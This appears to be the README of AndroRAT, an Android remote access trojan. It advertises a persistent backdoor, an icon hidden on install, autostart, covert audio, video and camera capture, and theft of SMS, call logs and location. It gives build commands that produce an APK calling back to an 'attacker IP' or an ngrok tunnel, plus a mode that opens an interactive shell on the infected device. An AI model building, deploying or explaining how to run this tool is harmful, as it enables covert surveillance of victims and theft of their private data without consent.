AndroRAT is a tool designed to give the control of the android system remotely and retrieve informations from it. Androrat is a client/server application developed in Java Android for the client side and the Server is in Python.

AndroRAT will work on device from Android 4.1 (Jelly Bean) to Android 9.0 (Oreo) (API 16 to API 28)

AndroRAT also works on Android 10 (Q) but some of the interpreter command will be unstable.



Features of AndroRAT

  • Full persistent backdoor
  • ~~Fully undetectable by any antivirus scanner VirusTotal~~
  • Invisible icon on install
  • Light weight apk which runs 24*7 in background
  • App starts automatically on boot up
  • Can record audio, video, take picture from both camera
  • Browse call logs and SMS logs
  • Get current location, sim card details ,ip, mac address of the device


AndroRAT requires Python (3.6-3.8) and JAVA 8 (or Android Studio)


git clone
pip install -r requirements.txt


While cloning the repository using Git bash on windows, you may get the following error:

error: unable to create file <filename>: Filename too long

This is because the Git has a limit of 4096 characters for a filename, except on Windows when Git is compiled with msys. It uses an older version of the Windows API and there's a limit of 260 characters for a filename.

You can circumvent this by setting


git config --system core.longpaths true

You must run Git bash with administrator privileges.

Usage (Windows and Linux)

  • To get the control panel of the app dial
    (For now it has only two options
    Restart Activity
    ) > Note: In order to use this feature in some devices you need to enable the option
    display pop-up windows running in background
    from the settings.

Available Modes

  • --build
    - for building the android apk
  • --ngrok
    - for using ngrok tunnel (over the internet)
  • --shell
    - getting an interactive shell of the device


  python --build --ngrok [flags]
    -p, --port              Attacker port number (optional by default its set to 8000)
    -o, --output            Name for the apk file (optional by default its set to "karma.apk")
    -icon, --icon           Visible icon after installing apk (by default set to hidden)
  python --build [flags]
    -i, --ip                Attacker IP address (required)
    -p, --port              Attacker port number (required)
    -o, --output            Name for the apk file (optional)
    -icon, --icon           Visible icon after installing apk (by default set to hidden)

Or you can manually build the apk by importing Android Code folder to Android Studio and changing the IP address and port number in file and then you can generate the signed apk from

Android Studio -> Build -> Generate Signed APK(s)


  python --shell [flags]
    -i, --ip                Listner IP address
    -p, --port              Listner port number

mode you will get an interpreter of the device
